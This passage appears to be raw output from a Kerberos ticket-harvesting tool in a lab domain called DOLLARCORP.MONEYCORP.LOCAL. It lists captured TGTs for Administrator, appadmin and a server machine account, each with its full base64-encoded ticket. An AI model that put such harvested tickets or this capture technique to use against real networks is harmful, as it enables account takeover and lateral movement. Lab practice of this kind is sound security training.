okWw4cF/Rr5+2sKpRS/S3GvW+ytwBcuLyxHv0M7XYER2A5Kk8k173KCfNPLFjDX8uu0oxo4IBGjCCARagAwIBAKKCAQ0EggEJfYIBBTCCAQGggf4wgfswgfigKzApoAMCARKhIgQgW1Swjb22zJ/ehWttUqFMyKWHI3oQJHDRoyd7V2/VCJGhHBsaRE9MTEFSQ09SUC5NT05FWUNPUlAuTE9DQUyiGjAYoAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBgoQAApREYDzIwMjQwMzAyMjM1NzEyWqYRGA8yMDI0MDMwMzA5NTcxMlqnERgPMjAyNDAzMDkyMzU3MTJaqBwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMqS8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTA== [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:56:12 PM EndTime : 3/3/2024 1:56:12 AM RenewTill : 3/9/2024 3:56:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : doIGZjCCBmKgAwIBBaEDAgEWooIFNjCCBTJhggUuMIIFKqADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKOCBNIwggTOoAMCARKhAwIBAqKCBMAEggS8P4T99JMwunb7UFlSV0xipFGGAaXuv77XMCI2jGmwWf1Bc60o7+3etgoA6PTnZhU31aoSNVbrHXIdNANt3j47FBz/Iv/e8QKy8H8LIW1sQWYguJN5vYiKzTt0IeWPIQlEMEDJKj+mObWtK6k0hOBPxL/fOZj8sVQ3AtHdEkWg3Bkeavcm1zNcVhUWgaxxeDDitiXkz8+Et+JRZbkpWydSyjv/KHMIrVbHtL7tXfyKqy6ons91fJA2C15M7D3kVkdVKItsSS69GtZ2RcZoW4unWB5CWiTALCRz/vXSHZXNEb04oSDxGe/HRM8iyiQChyfNdp6NqCLI654ovdBsuonbcAD1UfhVAwiAhGGytEsechkStULumBOE4S+nZm2n4Jl4LtCvfVKXlfA+R7M6tpo9xg6WTfMknjy57nF50NXskMNaP6vTMzpWRYf5uP4ec8nWYT/O6OBaoBD4pFgLA0lXEG78FuwnH6yJL2L7oCQJa5Hs0j963+J94BFXOpI4NnDqfQLnn5hY9zf85WIefmf4Ua2o6p4HR/XaMY/kkDP4sVyLT4qqe8uWnjK8z3gjy6HB7xRvXPxpz32NSv04qt0/UhUnzhddqQKmAMIlx/WJwA83Jmm/4aG6PYJ8q2m4yhvISdruRCiWWH1SGLU9+x3rbMyRsnuK04aboBbl2mAijq2e+aeXx9rMiil/DI9QvY3RpqcRLCR9rwUQP1yAYSjh6GkT+kxeyDzBRLe4W1vZfHbjW7BCs1WM4twA7PnJ1w7ofPBafRN4cXxjPg1QDlm0fTlWL4upMHjnlLPxMz6EeNCMcXMxlC0JoSZQAdV6j7Rb4dYV6arrydVjQYnXz86HMwPJD/2ZX4OdQVqzzF7wbmn2T0TU46TmY7nf5r0MTO+CDKR4TnLJtnFK89nsrPXUtAr2kPIGO1dAyJn7ViJUg/IWoebNKIaV5igjLWoubY25e27F21HnkirdtNi2IVjgqkocnb29x00cefcN6cjxMnCOyJxo1ty1MuXoExYxCaS7fBZflLpL8WWqxVMS7g0ugCcbTey9AFdyh1szNdoNGtBAph/SpNh25wBvlz0HhkKmbC9QdrFZfqUjZ9nD8b30jHsg9C5JUqgRbaWoNcuSrCKEtr7MScLt4FCekKoTusy69C9pOumqFrnyPbSnEL06xoi6mgyZUBd5WEb3OevJS7QpfIoL/QMhoJW+n+ocJV8pDkuAQARLf4wGMlfS9hzC+AOBneg4DB0f/roDUOBmbDR4R4Oq5pz+VkEw3Y2Q7y9OY0hAk4ACr4eUQCGbPZeSkwNXEgq3cam92ZvUx5p6OL+Q9Uuv2Sa/gGHpBm21s/dXuSXmh+UVjhkaxHyYJ/ejBMWxDpVlhF3xyCDTCyfYBbsDqXktL8FmuFtixhzUKP0AsOeTYXcyj5CfPPAcmxkX6Wgd0OQzkgEAbG/h3X5SZ47M32HmLrIggNI5gqThATCbV7xvI9fWhnfmn8Cgqy6omZYf9WXm6wSP2hpFi0oHaLGlyTTwAA9/LsUuCipukV5DNwkaENw4IBwDwxLDDZcifBVKOpJSLhmJPJ75FihsbFkGbx9vH6befVvvk56D6MsfR/rv9TBzdXI1BGVfo4IBGjCCARagAwIBAKKCAQ0EggEJfYIBBTCCAQGggf4wgfswgfigKzApoAMCARKhIgQg7hiX9PVGmleG5h+bf3e4JJmHqeItFfglnbEfsfZXm5OhHBsaRE9MTEFSQ09SUC5NT05FWUNPUlAuTE9DQUyiGjAYoAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBgoQAApREYDzIwMjQwMzAyMjM1NjEyWqYRGA8yMDI0MDMwMzA5NTYxMlqnERgPMjAyNDAzMDkyMzU2MTJaqBwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMqS8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTA== [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:55:12 PM EndTime : 3/3/2024 1:55:12 AM RenewTill : 3/9/2024 3:55:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:53:12 PM EndTime : 3/3/2024 1:53:12 AM RenewTill : 3/9/2024 3:53:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : doIGZjCCBmKgAwIBBaEDAgEWooIFNjCCBTJhggUuMIIFKqADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKOCBNIwggTOoAMCARKhAwIBAqKCBMAEggS8qQDA8ouInfY3LwxPi0JapAfhazlMwKzLR+qwfmdUgwEwh0iUkIZ5SJe2OtK5OGuXRGD1UnHiLeborwxo32dwvKdK8x/v4IXO3bBjTOxUKbRCrLLAP2Y35EsU3mdCh7Nmgre8CfcKiVHWyHs2mUbI8tO1DUhi0YIFCJJhqja2tKU2AEFNjeWGG9HoVlAzsRUO8CigfGkAMkfdJ34EGrtIkDn2uNEQDA317pFGmxMiDN2U/2xk37hrfXc9j+bKldXh4vOgGbsxNXxdHYzvYF9Dkb/U9uPyk31ZUT3Bx2ZJbWlCPHttzgja/FvdzTLB2/tJXcBRbv382X2j/1xXvPbVSAeErQE15ArZrn7vR7HmiaJOr66oBZW0C6HhfT8W74Sq7LGXoIrDNx+aZmOlqQ+tueUETRL+u3auRQ2ByPuCV6w0qMfKDqUPfJdpdB4xd8ihWWHp+q+1Fb1MHGnY9siqbiFpDHlaLu6mW9rYyChXX7SmxXPlvin0KpXdfYw5l8sqinGeTqsquiyCTYDd4RtS+LtVpQ5nJ897xldCdT+xS4CkhKl3J2+mPSyStm5yyVRmCMp/C/VDVsdpEB77hdzdQtc4qXrN+pKN/V3DFnxTzrz3W0ZWH25GD6B844wqtTFSp/H7TocOVG59BifMwSfko0kXOnoYIXuGKwVjMveTUUex616f871aG9Sq6rHVxS6C8Cyy9lK/VmIH69/Eh7UlO0kxDs86JVkBZr6qCHY1E1AQRNOJbWXweMic2ss+YUGaJHJYakY8vr/02yh3iHGYVDdZE3TTV+K1v0og5l0gNGQ+kaIOIzDSbNi5ffFd9PNJoyKcXdF6b6Ues1curELMVtdydpKkt8+tAKHIXbX/8IoywPXfnahq0UxsxQnss+SqjoXw1JNHg+6U+ZNx1JAWCdtsN4XImF42/mz9Bqgl/b5wLrbyfH0BSC1UXzVAigEag3T8P2Kr3rZeucgmumisCLpjh6SQ34PVMbXVhVFReRs6HyKNY6HnOiNDACjYo+z8SwHsJ5LN+Jn/HpGEBbWBNouMuhUGXx5c8DOD8BgN9N4vDmVG8NhDaZAkmdGhCWEBayQZuejAYZE9d0MEEbKorkUnAIlBku4+H5txU5ila6BYWA41p018rCTMvNrzSRmLY3kohQfSb15JV/wZMxSwjY/n9ak3ijZECsgLGkCtDF3mh4/23052x2x8m4nYALdqmbBWd4eSxecwb+Kq7LlOoQRgN9Vl9WhRW9gdaAMhahf9usCAnMCKVGY7T7mT+XbmlbpKMHajOV0b1Ge4WWYGOoCIpbiha67MfB7LMJLHDnhC2y//Urxs46OPY2SHaLrnTp04FpJV5fWWxSFIu3GIsGj1ULXYT1YmuCgM+9YMNwCtbu/b6z7guiiy43uYa90syW86gurPElIbMqsEemjZ7lkjW2o75cfTaMDrY+AxAvxfNiSsScGsZyL28Q37/9ZPpIVIGRAEehFXZKFP+oIj6D5lMfn0GzfwqIpFlVbpIdPF9junKyc0x/EnzCOVZKhGX2l95Kjv2tVFpRZNV67JwOIcJzhCtDweKTEl8+EZRYaniucv3UuX0Lmjk3zfWomo1obqYLorMrY+E0tco4IBGjCCARagAwIBAKKCAQ0EggEJfYIBBTCCAQGggf4wgfswgfigKzApoAMCARKhIgQgYWR7VqKpr9sueftqthVIkxjVH1cCZ42TdBKJyiwslU+hHBsaRE9MTEFSQ09SUC5NT05FWUNPUlAuTE9DQUyiGjAYoAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBgoQAApREYDzIwMjQwMzAyMjM1MzEyWqYRGA8yMDI0MDMwMzA5NTMxMlqnERgPMjAyNDAzMDkyMzUzMTJaqBwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMqS8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTA== [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:49:12 PM EndTime : 3/3/2024 1:49:12 AM RenewTill : 3/9/2024 3:49:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : doIGZjCCBmKgAwIBBaEDAgEWooIFNjCCBTJhggUuMIIFKqADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKOCBNIwggTOoAMCARKhAwIBAqKCBMAEggS8xkEoDZwDpKE+wM8kVtV8bu0W87ApTqkom/wASEsK8wu5J2kgi1ZwnuDEP9OrS+PbApeQh/fi+PaTFIWR5QPUNqUmDyqsE7MYhcw2XSpm/s8ijOGlGEWqPtpD3ckkm/UCPLiBSg1AXfsNxVt6vvnBB5qgepQcPEl0FcBY1i6uC1yBMEmjl6py0Hr21lVxgPiKi4S0BM6MB82NrduupEzZeMXggJLMJLzjZuPLtOahEq0TKhvkkVQnzJs/W+3GDWt36uDCSAC4l3SntgGYEVDxeeNFCiGlqYvPzZApmt/d1bBO8ZUYIKRmrVroEBvjxcq8AgKEuq5XUE4zS4v6impLf5K4SgrnaZ+KacdQVpEx3p+Co3o3s5aLlBR5DxYvida9TmyQ/NhARH+ZF51OUPzr5Co2KyXnIroAekOaXKyAeeDRMERb1Tsd/ZsNMHe2J/1B/JLB0nnLixwVcP/iNL8SqDptA3LNHDMZa3rzD0NCcYTKZZ19p7aTtefoyiWgmBMGyRAuzyiJWzP5QqJ2u2tl7c+7obcrhJAIiIsQXx8w9mgyzngxahJYaNgJCDHPNB1mYlp8mT0KqPYagoi0Ak4rmwkHBCxSeWuAvGGo3hVkts1PN8Knzpt7DEb2TY0/bkq69m6uo9rbZEq+rIZIDcC6oGLkXygvrO1nUaIHy97IHBUpW9C6PQ9YZZs4eBiS1FKXU7fq0VUjLyrSmn+jF5rvI4p1iIT1GdGkZKhLu81nYHlxMonlg6BXDMYyPO7/c2KqSu7KlVRUNv0CrEExtdYtaVJespzCvdosBp6OPTNljZMY4Ib/0qmG3sJg1MwADLTHJEZ7ZM6S6R210nhaekf4gGiFrrX+W4BIY6NO0Ncwhdm5UDHi1kTouxg+50laf2XAqObbtzqya/rKdOaPC5BcnilMX38rO8WHGn1kTLAfC+WYYX2fhkan8/xvIOJb4wtQX19oUPmVvfuv1dJovny0DZg+ZAOmc1pMP6SuSe5QPzB9MiMTRL270LrAEQuFvhM53f92wTpH6eLduZmwXQ/sBQo586X8IYp7DKvRszqy7jID5R9JWybsZL7sgrtvZH6jIqhOfCFa5HFY+ivCeznoVyYY87NscDSMrnRBohuwX02B9MWmzl+kCg668QpncLFJzdMZM4tLY/Lhy87CaqyF99+5tFHccPA4Rcb07PoD/aA7OzACSEMdZw8GZQLheOf6VBE5Zfr31rTVxHeJxh4GjycSo0eiT4SBvRCIkSnWLQA26wCXCtdR0H0Xj+UinsmNAwUZ30sXpRjZjmd4Iy0Mr8iIIqFWI7F0ShAHaHAOeHL5qpg8bVIC84eWt83BXhgG+ZvYGZGdCQGawSqdX4eNd7h0vZJxakbMrESBNt0paOa3TZGp053XtIcB2vLeSPvhkrWqs8aMAEfdZ7jixOIM0/pXRWVjNbqkpat+bHwn/rv6LRlttAYCxjTu7uc47mmPRQfeBWeDOxYFwPeJPzVitEa9qrox3Y373HQQtKyjjc1cNW3DEHRxbUwR/+p6FMdsIEVSxvFZZbgtDQ6L2CXiD5i5XrJ9+Kmx42HekU/QZtijitrgnDB0a8Ah2XYlr7aVP/A1KArfuAmcP6B1o4IBGjCCARagAwIBAKKCAQ0EggEJfYIBBTCCAQGggf4wgfswgfigKzApoAMCARKhIgQgaEgxsN8GwFMA2i81+SWIV+r1GGLI0bcQTleoeIujzLqhHBsaRE9MTEFSQ09SUC5NT05FWUNPUlAuTE9DQUyiGjAYoAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBgoQAApREYDzIwMjQwMzAyMjM0OTEyWqYRGA8yMDI0MDMwMzA5NDkxMlqnERgPMjAyNDAzMDkyMzQ5MTJaqBwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMqS8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTA== [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : appadmin@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 6:47:37 AM EndTime : 3/2/2024 4:47:37 PM RenewTill : 3/9/2024 6:47:37 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable Base64EncodedTicket : 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 [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : DCORP-APPSRV$@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:20:48 PM EndTime : 3/3/2024 1:20:48 AM RenewTill : 3/9/2024 5:35:48 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable Base64EncodedTicket : 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 [*] Ticket cache size: 16 [*] 3/2/2024 11:58:12 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:58:12 PM EndTime : 3/3/2024 1:58:12 AM RenewTill : 3/9/2024 3:58:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : doIGZjCCBmKgAwIBBaEDAgEWooIFNjCCBTJhggUuMIIFKqADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKOCBNIwggTOoAMCARKhAwIBAqKCBMAEggS8kr1bY2iImeUClkV7i1RPnH5YLQVVuz13IkVITm+/r5VEBcZ94yLyRP3HPsh7Q3lx8ABleYfVKRfUBE6T+k/fD1kZFnNQ60ZC18o10IhDmo5c63ql5f8t5rvheQC6Y3CuSwlExF5uWuklvSz+srZFmeZ+QhORqJ6M3d1iLvweIDF/J5wrnWHNS5QV3PoDNAK589pfFlV0maJ+V5RBj3cAPk1/XHa/VHKymAFNGXqPryNQmy2yaOMjfui7bwtIT6dFuo0l4Y1FVP2Cis9sYqKEAnuaRy3xmA/P5kjNyjJttBtbZiGzOe3Tw4Ld8R0mSRrnjTg6cjWlWwvSNTDva3YkvmY7Z94yuHpDWBUcAwyLW3McZB4tSy6Mmx5zY79wAsVS3kyGyne+EwM/AX1/l0eSB3rMZCXFo4KED7IIIIW+CgbI17Wz5HWE/TIopZFIkhpbMjXi3wmt46GgsZGTub8PsbYEBv0gC0tVW+aCJm/ktcbSnFx7PbdNsgPoQci2SJuMjEtRcAHyvzxiyrNog8UnbjKG0RoP/NECLsDMvUk05pm9PdoI3rorSXlbpAQtbmXhwLsQhGWW2A8+cF0SBuzG9TNV4TRgRRdviBy7PD0euJX3Ux+QrwSLDK2WPtLmQLENHxoKOTWl35hFahN2saHlwanvg2CzlNP4cdq93tZKMOW9TryUykNQvMItRwO87WZPZUKS4cy9BJfgljg6Avucj1MYuLzYGfLCBvEsO5lQGOuJJW8tc9azmy2ohSi91tRppaePbGRR9sAb1xQKNggbjh/QyNmIoQZnAJb7T3Ifv1CqK20xcGeYCLPkvzcQmfRCfboAo/0AalNr7B4iOej5mv5aE7ZLSw93Wg2aVj55LIr84o06OPTlVvewkVSgj0QyYmjPyJr+oOVENji+P6IYC1REXgjdirRTHr3+dC0